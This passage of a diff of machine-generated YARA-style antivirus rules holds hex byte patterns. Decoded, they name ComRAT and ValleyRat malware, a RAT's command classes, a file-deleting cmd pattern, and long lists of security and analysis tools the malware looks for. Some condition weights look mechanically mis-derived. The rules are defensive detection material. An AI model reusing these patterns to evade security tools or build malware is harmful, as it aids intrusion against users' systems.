75 6e 74 40 56 50 69 70 65 43 6c 90 01 01 65 6e 74 53 65 72 76 65 72 49 6e 74 65 72 66 61 63 65 40 40 40 73 } //257 - $a_40_45 = {90 00 01 00 21 03 2e 3f 41 56 47 6d 61 69 6c 54 72 61 6e 73 70 90 01 01 72 74 4d 65 64 69 61 74 6f 72 40 40 00 90 00 01 00 23 03 2e 3f 41 56 47 6d 61 69 6c 49 70 63 54 72 90 01 01 6e 73 70 6f } //25716 - $a_64_46 = {70 74 65 72 40 40 00 90 00 01 00 36 03 2e 3f 41 56 3f 24 5f 46 75 6e 63 5f 62 61 73 65 40 58 50 45 41 55 47 75 6d 62 6f 49 6e 74 90 01 01 72 6e 61 6c 4f 75 74 70 75 74 40 40 40 73 74 64 40 40 00 } //29810 - $a_00_47 = {3b } //144 ; - $a_41_48 = {3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 47 6d 61 69 6c 49 70 63 54 72 61 6e 90 01 01 70 6f 72 74 41 64 61 70 74 65 72 40 40 40 73 74 64 40 40 00 90 00 01 00 37 03 2e 3f 41 56 } //11779 - $a_52_49 = {66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 50 69 70 65 43 6c 69 65 6e 74 53 65 90 01 01 76 65 72 49 6d 70 6c 40 40 40 73 74 64 40 40 00 90 00 01 00 34 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 6f 72 61 67 65 44 65 73 90 01 01 72 69 70 74 6f 72 40 40 40 73 } //9279 - $a_40_50 = {90 00 01 00 33 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 55 6d 75 6c 74 69 5f 63 90 01 01 75 6e 6b 5f 69 6e 66 6f 40 40 40 73 74 64 40 40 00 90 00 01 00 2c 03 2e 3f 41 } //25716 - $a_5f_51 = {65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 50 68 70 43 ?? 6e 66 69 67 40 40 40 73 74 64 40 40 00 } //16214 - $a_03_52 = {2e 3f 41 56 50 68 70 53 74 6f ?? 61 67 65 54 72 61 6e 73 70 6f 72 74 40 40 00 } //1 - $a_03_53 = {2e 3f 41 56 43 72 79 70 74 65 64 44 61 74 61 64 41 ?? 61 70 74 65 72 40 40 00 } //1 - $a_03_54 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 55 43 6f 6d ?? 6f 6e 54 72 61 6e 73 70 6f 72 74 43 6f 6e 66 69 67 40 40 40 73 74 64 40 40 00 } //1 - $a_e9_55 = {00 05 00 05 00 17 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 57 69 6c 64 4e 65 75 74 72 6f 6e 5f 53 61 6d 70 6c 65 5f 31 30 00 05 00 7e 03 2f 63 20 66 6f 72 20 2f 4c 20 25 25 69 20 69 6e 20 28 31 2c 31 2c 32 29 20 44 4f 20 70 69 6e 67 20 31 32 37 2e 30 2e 30 2e 31 20 2d 6e 20 33 20 26 20 74 79 70 65 20 25 25 77 69 6e 64 69 72 25 } //0 - $a_6f_56 = {65 70 61 64 2e 65 78 65 20 3e 20 25 73 20 26 20 64 65 6c 20 2f 66 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3a 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 74 65 6d 70 5c 5f 64 62 67 2e 74 6d 70 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d } //23589 - $a_5a_57 = {2d 39 90 00 01 00 40 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 57 4f 57 36 34 5c 6d 73 70 6f 6f 6c 2e 64 6c 6c 90 19 01 09 61 } //16762 - $a_2d_58 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 43 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 64 70 63 6f 72 65 31 36 74 2e 64 6c 6c 90 19 01 09 } //31277 - $a_41_59 = {5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 43 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 77 64 69 67 65 73 74 45 78 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 40 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 6d 73 } //11617 - $a_6c_60 = {64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 42 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 42 03 25 53 } //28528 - $a_45_61 = {52 4f 4f 54 25 5c 53 79 73 57 4f 57 36 34 5c 69 61 73 74 6f 72 33 32 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 40 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 } //21337 - $a_76_62 = {73 65 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 41 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 6d 73 68 74 61 65 78 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 42 03 25 53 59 53 } //27996 - $a_52_63 = {4f 54 25 5c 53 79 73 74 65 6d 33 32 5c 69 61 73 74 6f 72 33 32 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 41 03 25 53 59 53 54 45 4d 52 4f 4f 54 25 5c 53 79 73 } //17748 + $a_d0_31 = {02 00 00 80 59 e8 90 01 02 ff ff 8d 45 f4 e8 90 01 02 ff ff 8d 45 f4 ba 90 01 03 00 90 00 00 00 78 dd 05 00 32 00 32 00 39 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 01 00 10 01 55 00 6e 00 54 00 68 00 72 00 65 00 61 00 74 00 01 00 1e 01 4b 00 37 00 54 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 65 00 78 00 65 00 01 } //-1 + $a_41_32 = {64 } //6144 d + $a_00_34 = {63 00 68 00 2e 00 65 00 78 00 65 00 01 00 20 01 50 00 53 00 61 00 66 00 65 00 53 00 79 00 73 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 42 00 69 00 74 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 01 00 14 01 76 00 73 00 73 00 65 00 72 00 76 00 2e 00 65 00 78 00 65 00 01 00 14 01 72 00 65 00 6d 00 75 00 70 00 64 00 2e 00 } //97 + $a_00_35 = {65 00 01 00 16 01 72 00 74 00 76 00 73 00 63 00 61 00 6e 00 2e 00 65 00 78 00 65 00 01 00 16 01 61 00 73 00 68 00 44 00 69 00 73 00 70 00 2e 00 65 00 78 00 65 00 01 00 18 01 61 00 76 00 63 00 65 00 6e 00 74 00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 01 54 00 4d 00 42 00 4d 00 53 00 52 00 56 00 2e 00 65 00 78 00 65 00 01 00 18 01 6b 00 6e 00 73 00 64 00 } //101 + $a_00_36 = {61 00 79 00 2e 00 65 00 78 00 65 00 01 00 10 01 65 00 67 00 75 00 69 00 2e 00 65 00 78 00 65 00 01 00 18 01 4d 00 63 00 73 00 68 00 69 00 65 00 6c 00 64 00 2e 00 65 00 78 00 65 00 01 00 0e 01 61 00 76 00 70 00 2e 00 65 00 78 00 65 00 01 00 10 01 46 00 2d 00 53 00 65 00 63 00 75 00 72 00 65 00 01 00 18 01 61 00 76 00 67 00 77 00 64 00 73 00 } //116 + $a_00_37 = {2e 00 65 00 78 00 65 00 01 00 16 01 41 00 59 00 41 00 67 00 65 00 6e 00 74 00 2e 00 61 00 79 00 65 00 01 00 12 01 56 00 33 00 53 00 76 00 63 00 2e 00 65 00 78 00 65 00 01 00 0e 01 61 00 63 00 73 00 2e 00 65 00 78 00 65 00 01 00 0c 01 44 00 52 00 2e 00 57 00 45 00 42 00 01 00 14 01 53 00 50 00 49 } //118 + $a_00_39 = {65 00 78 00 65 00 01 00 0c 01 43 00 6f 00 6d 00 6f 00 64 00 6f 00 01 00 0e 01 63 00 66 00 70 00 2e 00 65 00 78 00 65 00 01 00 18 01 6d 00 } //114 + $a_00_40 = {65 00 63 00 65 00 73 00 73 00 2e 00 65 00 78 00 65 00 01 00 18 01 51 00 55 00 48 00 4c 00 50 00 53 00 56 00 43 00 2e 00 45 00 58 00 45 00 01 00 16 01 52 00 61 00 76 00 4d 00 6f 00 6e 00 44 00 2e 00 65 00 78 00 65 00 01 00 16 01 4b 00 76 00 4d 00 6f 00 6e 00 58 00 50 00 2e 00 65 00 78 00 65 00 01 00 22 01 62 00 61 00 69 00 64 00 75 00 53 00 61 } //115 + $a_00_42 = {61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 42 00 61 00 69 00 64 00 75 00 53 00 64 00 2e 00 65 00 78 00 65 00 01 00 20 01 32 00 33 00 34 00 35 00 53 00 61 00 66 00 65 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 18 01 48 00 69 00 70 00 73 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 51 00 51 00 50 00 43 00 } //84 + $a_00_43 = {50 00 2e 00 65 00 78 00 65 00 01 00 1a 01 4b 00 53 00 61 00 66 00 65 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 6b 00 78 00 65 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 12 01 33 00 36 00 30 00 73 00 64 00 2e 00 65 00 } //82 + $a_00_44 = {01 00 22 01 5a 00 68 00 75 00 44 00 6f 00 6e 00 67 00 46 00 61 00 6e 00 67 00 59 00 75 00 2e 00 65 00 78 00 65 00 01 00 16 01 33 00 36 00 30 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 33 00 36 00 30 00 53 00 61 00 66 00 65 00 2e 00 65 00 78 00 65 00 01 00 14 01 57 00 78 00 57 00 6f } //120 + $a_00_46 = {78 00 65 00 01 00 14 01 57 00 65 00 43 00 68 00 61 00 74 00 2e 00 65 00 78 00 65 00 01 00 14 01 77 00 65 00 69 00 78 00 69 00 6e 00 2e 00 65 00 78 00 65 00 01 00 18 01 54 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 2e 00 65 00 78 00 65 00 01 00 18 01 44 00 69 00 6e 00 67 00 54 00 61 00 6c 00 6b 00 2e } //46 + $a_00_48 = {1e } //101 + $a_00_50 = {54 00 61 00 6c 00 6b 00 47 00 6f 00 76 00 2e 00 65 00 78 00 65 00 01 00 10 01 41 00 70 00 61 00 74 00 65 00 44 00 4e 00 53 00 01 00 18 01 4d 00 61 00 6c 00 77 00 61 00 72 00 65 00 62 00 79 00 74 00 65 00 73 00 01 00 0c 01 54 00 43 00 50 00 45 00 79 00 65 00 01 00 18 01 54 00 61 00 73 00 6b 00 45 00 78 00 70 } //110 + $a_00_52 = {72 00 01 00 12 01 43 00 75 00 72 00 72 00 50 00 6f 00 72 00 74 00 73 00 01 00 10 01 4d 00 65 00 74 00 61 00 73 00 63 00 61 00 6e 00 01 00 12 01 57 00 69 00 72 00 65 00 73 00 68 00 61 00 72 00 6b 00 01 00 0e 01 46 00 69 00 64 00 64 00 6c 00 65 00 72 00 01 00 0a 01 43 00 61 00 70 00 73 00 61 00 01 00 0c } //114 + $a_00_54 = {74 00 65 00 01 00 1a 01 49 00 70 00 64 00 61 00 74 00 65 00 53 00 70 00 65 00 63 00 69 00 61 00 6c 00 05 00 29 01 c7 45 a8 30 cc ff 56 b8 98 d3 00 00 66 89 45 ac c7 45 ae d0 11 b2 ae c7 45 b2 00 a0 c9 08 66 c7 45 b6 fa 49 4c 89 74 24 70 00 00 78 e2 05 00 04 00 04 00 1f 00 21 23 41 4c 46 50 } //100 + $a_54_55 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 52 41 54 2e 41 21 64 68 61 00 01 00 1c 03 2e 3f 41 56 4d 61 69 6c 48 74 74 70 54 72 90 01 01 6e 73 70 6f 72 74 40 40 00 90 00 01 00 } //21061 + $a_3f_56 = {56 44 65 6c 65 74 65 41 6c 6c 4d 61 90 01 01 6c 49 6e 73 74 72 40 40 00 90 00 01 00 26 03 2e 3f 41 56 47 65 74 43 6f 6e 66 69 67 75 72 61 } //797 + $a_01_57 = {01 6e 49 6e 73 74 72 75 63 74 69 6f 6e 40 40 00 90 00 01 00 2d 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 52 65 90 01 01 64 46 69 6c 65 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 2b 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 44 69 72 53 74 90 01 01 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 1e 03 2e 3f 41 56 53 65 6e 64 57 6f 72 6b 90 01 01 6e 67 4c 6f 67 49 6e 73 74 72 40 } //26996 + $a_00_58 = {01 00 20 03 2e 3f 41 56 53 65 74 54 69 6d 65 6f 75 74 49 6e 73 74 72 90 01 01 63 74 69 6f 6e 40 40 00 90 00 01 00 19 03 2e 3f 41 56 53 68 65 6c 6c 45 78 90 01 01 63 49 6e 73 74 72 40 40 00 90 00 01 00 2e 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 45 78 65 63 53 68 90 01 01 6c 6c 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 20 03 2e 3f 41 56 43 72 79 70 74 65 64 43 6f 6d 6d 61 90 01 01 64 41 64 61 70 74 } //64 + $a_40_59 = {90 00 01 00 41 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 43 6f 6d 6d 61 90 01 01 64 45 6e 67 69 6e 65 40 43 6f 6d 6d 61 6e 64 53 75 62 73 79 73 74 65 6d 40 40 40 73 } //29285 + $a_40_60 = {90 00 01 00 39 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 54 72 61 6e 73 70 6f 72 74 42 72 6f 77 90 01 01 65 72 49 6e 6a 65 63 74 40 40 40 73 74 64 40 40 00 90 00 01 } //25716 + $a_2e_61 = {41 56 3f } //13312 AV? + $a_65_62 = {5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4d 61 69 6c 48 74 74 70 54 72 90 01 01 6e 73 70 6f 72 74 40 40 40 73 74 64 40 40 00 90 00 01 00 3c 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 90 01 01 72 61 67 65 49 4f 50 72 6f } //24356 + $a_65_63 = {40 53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 90 00 01 00 37 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 6f 72 61 67 65 51 75 90 01 01 72 79 40 53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 90 00 01 00 24 03 2e 3f 41 56 50 69 70 65 43 6c 69 65 6e 74 53 65 72 76 } //26998 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27765+(#a_2d_2 & 1)*26977+(#a_4e_3 & 1)*16640+(#a_00_4 & 1)*24944+(#a_63_5 & 1)*25956+(#a_28_6 & 1)*3328+(#a_74_7 & 1)*26984+(#a_67_8 & 1)*19559+(#a_6c_9 & 1)*22364+(#a_19_10 & 1)*12403+(#a_69_11 & 1)*23618+(#a_6a_12 & 1)*30067+(#a_2e_13 & 1)*26995+(#a_44_15 & 1)*25973+(#a_51_16 & 1)*2048+(#a_61_17 & 1)*11896+(#a_66_18 & 1)*29034+(#a_2f_19 & 1)*24938+(#a_20_20 & 1)*25648+(#a_04_21 & 1)*-28488+(#a_ff_22 & 1)*400+(#a_01_23 & 1)*-18184+(#a_02_24 & 1)*-28440+(#a_01_26 & 1)*-5912+(#a_45_27 & 1)*-1+(#a_ff_28 & 1)*513+(#a_01_29 & 1)*-18200+(#a_6a_30 & 1)*-1+(#a_d0_31 & 1)*-1+(#a_2e_33 & 1)*9728+(#a_6f_34 & 1)*29797+(#a_74_35 & 1)*16448+(#a_40_36 & 1)*28271+(#a_61_37 & 1)*24912+(#a_2e_39 & 1)*14592+(#a_65_40 & 1)*24356+(#a_01_41 & 1)*-28558+(#a_72_42 & 1)*28787+(#a_79_43 & 1)*257+(#a_65_44 & 1)*257+(#a_40_45 & 1)*25716+(#a_64_46 & 1)*29810+(#a_00_47 & 1)*144+(#a_41_48 & 1)*11779+(#a_52_49 & 1)*9279+(#a_40_50 & 1)*25716+(#a_5f_51 & 1)*16214+(#a_03_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_e9_55 & 1)*0+(#a_6f_56 & 1)*23589+(#a_5a_57 & 1)*16762+(#a_2d_58 & 1)*31277+(#a_41_59 & 1)*11617+(#a_6c_60 & 1)*28528+(#a_45_61 & 1)*21337+(#a_76_62 & 1)*27996+(#a_52_63 & 1)*17748) >=1436 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27765+(#a_2d_2 & 1)*26977+(#a_4e_3 & 1)*16640+(#a_00_4 & 1)*24944+(#a_63_5 & 1)*25956+(#a_28_6 & 1)*3328+(#a_74_7 & 1)*26984+(#a_67_8 & 1)*19559+(#a_6c_9 & 1)*22364+(#a_19_10 & 1)*12403+(#a_69_11 & 1)*23618+(#a_6a_12 & 1)*30067+(#a_2e_13 & 1)*26995+(#a_44_15 & 1)*25973+(#a_51_16 & 1)*2048+(#a_61_17 & 1)*11896+(#a_66_18 & 1)*29034+(#a_2f_19 & 1)*24938+(#a_20_20 & 1)*25648+(#a_04_21 & 1)*-28488+(#a_ff_22 & 1)*400+(#a_01_23 & 1)*-18184+(#a_02_24 & 1)*-28440+(#a_01_26 & 1)*-5912+(#a_45_27 & 1)*-1+(#a_ff_28 & 1)*513+(#a_01_29 & 1)*-18200+(#a_6a_30 & 1)*-1+(#a_d0_31 & 1)*-1+(#a_41_32 & 1)*6144+(#a_00_34 & 1)*97+(#a_00_35 & 1)*101+(#a_00_36 & 1)*116+(#a_00_37 & 1)*118+(#a_00_39 & 1)*114+(#a_00_40 & 1)*115+(#a_00_42 & 1)*84+(#a_00_43 & 1)*82+(#a_00_44 & 1)*120+(#a_00_46 & 1)*46+(#a_00_48 & 1)*101+(#a_00_50 & 1)*110+(#a_00_52 & 1)*114+(#a_00_54 & 1)*100+(#a_54_55 & 1)*21061+(#a_3f_56 & 1)*797+(#a_01_57 & 1)*26996+(#a_00_58 & 1)*64+(#a_40_59 & 1)*29285+(#a_40_60 & 1)*25716+(#a_2e_61 & 1)*13312+(#a_65_62 & 1)*24356+(#a_65_63 & 1)*26998) >=1436 } -rule _InfrastructureShared_20537{ +rule _InfrastructureShared_21760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 09 00 1b 00 21 " @@ -264320,17 +279717,74 @@ rule _InfrastructureShared_20537{ $a_02_18 = {6a 03 6a 00 8d 55 f0 b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 f0 e8 ?? ?? ff ff 50 8d 55 ec b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 ec e8 ?? ?? ff ff 50 8d 55 e8 b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 e8 e8 ?? ?? ff ff 50 6a 00 e8 ?? ?? ff ff } //10 $a_02_19 = {64 ff 30 64 89 20 e8 ?? ?? ff ff b8 02 00 00 00 e8 ?? ?? ff ff 8b 15 ?? ?? ?? ?? 89 02 a1 ?? ?? ?? ?? 83 38 01 75 4f 6a 03 6a 00 8d 55 fc b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 fc e8 ?? ?? ff ff 50 8d 55 f8 b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 f8 e8 ?? ?? ff ff 50 8d 55 f4 b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 f4 e8 ?? ?? ff ff 50 6a 00 e8 ?? ?? ff ff } //10 $a_02_20 = {64 ff 30 64 89 20 68 ?? ?? ?? 00 e8 ?? ?? ff ff 68 ?? ?? ?? ?? 6a 01 8d 55 fc b8 2c 80 40 00 e8 ?? ?? ff ff 8b 45 fc e8 ?? ?? ff ff 50 8d 55 f8 b8 ?? ?? ?? 00 e8 ?? ?? ff ff 8b 45 f8 e8 ?? ?? ff ff 8b d0 b8 02 00 00 80 59 e8 ?? ?? ff ff 8d 45 f4 e8 ?? ?? ff ff 8d 45 f4 ba ?? ?? ?? 00 } //10 - $a_e2_21 = {00 04 00 04 00 1f 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 52 41 54 2e 41 21 64 68 61 00 01 00 1c 03 2e 3f 41 56 4d 61 69 6c 48 74 74 70 54 72 90 01 01 6e 73 70 6f 72 74 40 40 00 90 00 01 00 1d 03 2e 3f 41 56 44 65 6c 65 74 65 41 6c 6c 4d 61 90 01 01 6c 49 6e 73 74 72 40 40 00 90 00 01 00 26 03 2e 3f 41 56 47 65 74 43 6f } //0 - $a_67_22 = {72 61 74 69 90 01 01 6e 49 6e 73 74 72 75 63 74 69 6f 6e 40 40 00 90 00 01 00 2d 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 52 65 90 01 01 64 46 69 6c 65 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 2b 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 44 69 72 53 74 90 01 01 50 61 } //26222 - $a_73_23 = {40 40 73 74 64 40 40 00 90 00 01 00 1e 03 2e 3f 41 56 53 65 6e 64 57 6f 72 6b ?? 6e 67 4c 6f 67 49 6e 73 74 72 40 40 00 90 00 01 00 20 03 2e 3f 41 56 53 65 74 54 69 6d 65 6f 75 74 49 6e 73 74 72 ?? 63 74 69 6f 6e 40 40 00 90 00 01 00 19 03 2e 3f 41 56 53 68 65 6c 6c 45 78 ?? 63 49 6e 73 74 72 40 40 00 } //24946 - $a_03_24 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 45 78 65 63 53 68 ?? 6c 6c 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 } //1 - $a_03_25 = {2e 3f 41 56 43 72 79 70 74 65 64 43 6f 6d 6d 61 ?? 64 41 64 61 70 74 65 72 40 40 00 } //1 - $a_03_26 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 43 6f 6d 6d 61 ?? 64 45 6e 67 69 6e 65 40 43 6f 6d 6d 61 6e 64 53 75 62 73 79 73 74 65 6d 40 40 40 73 74 64 40 40 00 } //1 + $a_dd_21 = {00 32 00 32 00 39 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 01 00 10 01 55 00 6e 00 54 00 68 00 72 00 65 00 61 00 74 00 01 00 1e 01 4b 00 37 00 54 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 65 00 78 00 65 00 01 00 18 01 41 00 64 00 2d 00 77 00 61 00 74 00 63 } //0 + $a_00_23 = {65 00 01 00 20 01 50 00 53 00 61 00 66 00 65 00 53 00 79 00 73 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 42 00 69 00 74 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 01 00 14 01 76 00 73 00 73 00 65 00 72 00 76 00 2e 00 65 00 78 00 65 00 01 00 14 01 72 00 65 00 6d 00 75 00 70 00 64 00 2e 00 65 00 78 00 65 00 01 00 16 01 72 00 74 00 } //101 + $a_00_24 = {63 00 61 00 6e 00 2e 00 65 00 78 00 65 00 01 00 16 01 61 00 73 00 68 00 44 00 69 00 73 00 70 00 2e 00 65 00 78 00 65 00 01 00 18 01 61 00 76 00 63 00 65 00 6e 00 74 00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 01 54 00 4d 00 42 00 4d 00 53 00 52 00 56 00 2e 00 65 00 78 00 65 00 01 00 18 01 6b 00 6e 00 73 00 64 00 74 00 72 00 61 00 79 00 2e } //118 + $a_00_26 = {10 } //101 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_02_7 & 1)*3+(#a_00_8 & 1)*3+(#a_02_9 & 1)*4+(#a_02_10 & 1)*10+(#a_02_11 & 1)*10+(#a_02_12 & 1)*10+(#a_02_13 & 1)*10+(#a_02_14 & 1)*10+(#a_02_15 & 1)*5+(#a_02_16 & 1)*5+(#a_02_17 & 1)*10+(#a_02_18 & 1)*10+(#a_02_19 & 1)*10+(#a_02_20 & 1)*10+(#a_e2_21 & 1)*0+(#a_67_22 & 1)*26222+(#a_73_23 & 1)*24946+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1) >=9 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_02_7 & 1)*3+(#a_00_8 & 1)*3+(#a_02_9 & 1)*4+(#a_02_10 & 1)*10+(#a_02_11 & 1)*10+(#a_02_12 & 1)*10+(#a_02_13 & 1)*10+(#a_02_14 & 1)*10+(#a_02_15 & 1)*5+(#a_02_16 & 1)*5+(#a_02_17 & 1)*10+(#a_02_18 & 1)*10+(#a_02_19 & 1)*10+(#a_02_20 & 1)*10+(#a_dd_21 & 1)*0+(#a_00_23 & 1)*101+(#a_00_24 & 1)*118+(#a_00_26 & 1)*101) >=9 } -rule _InfrastructureShared_20538{ +rule _InfrastructureShared_21761{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 39 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 01 00 10 01 55 00 6e 00 54 00 68 00 72 00 65 00 61 00 74 00 01 00 1e 01 4b 00 37 00 54 00 53 00 65 00 63 00 75 00 72 00 } //16675 + $a_00_1 = {79 00 2e 00 65 00 78 00 65 00 01 00 18 01 41 00 64 00 2d 00 77 00 61 00 74 00 63 00 68 00 2e 00 65 00 78 00 65 00 01 00 20 01 50 00 53 00 61 00 66 00 65 00 53 00 79 00 73 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 42 00 69 00 74 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 01 00 14 01 76 00 73 00 73 00 65 00 72 00 76 00 } //105 + $a_00_2 = {78 00 65 00 01 00 14 01 72 00 65 00 6d 00 75 00 70 00 64 00 2e 00 65 00 78 00 65 00 01 00 16 01 72 00 74 00 76 00 73 00 63 00 61 00 6e 00 2e 00 65 00 78 00 65 00 01 00 16 01 61 00 73 00 68 00 44 00 69 00 73 00 70 00 2e 00 65 00 78 00 65 00 01 00 18 01 61 00 76 00 63 00 65 00 6e 00 74 00 65 00 72 00 2e } //46 + $a_00_4 = {16 } //101 + $a_00_6 = {53 00 52 00 56 00 2e 00 65 00 78 00 65 00 01 00 18 01 6b 00 6e 00 73 00 64 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 10 01 65 00 67 00 75 00 69 00 2e 00 65 00 78 00 65 00 01 00 18 01 4d 00 63 00 73 00 68 00 69 00 65 } //66 + $a_00_8 = {78 00 65 00 01 00 0e 01 61 00 76 00 70 00 2e 00 65 00 78 00 65 00 01 00 10 01 46 00 2d 00 53 00 65 00 63 00 75 00 72 00 65 00 01 00 18 01 61 00 76 00 67 00 77 00 64 00 73 00 76 00 63 00 2e 00 65 00 78 00 65 00 01 00 16 01 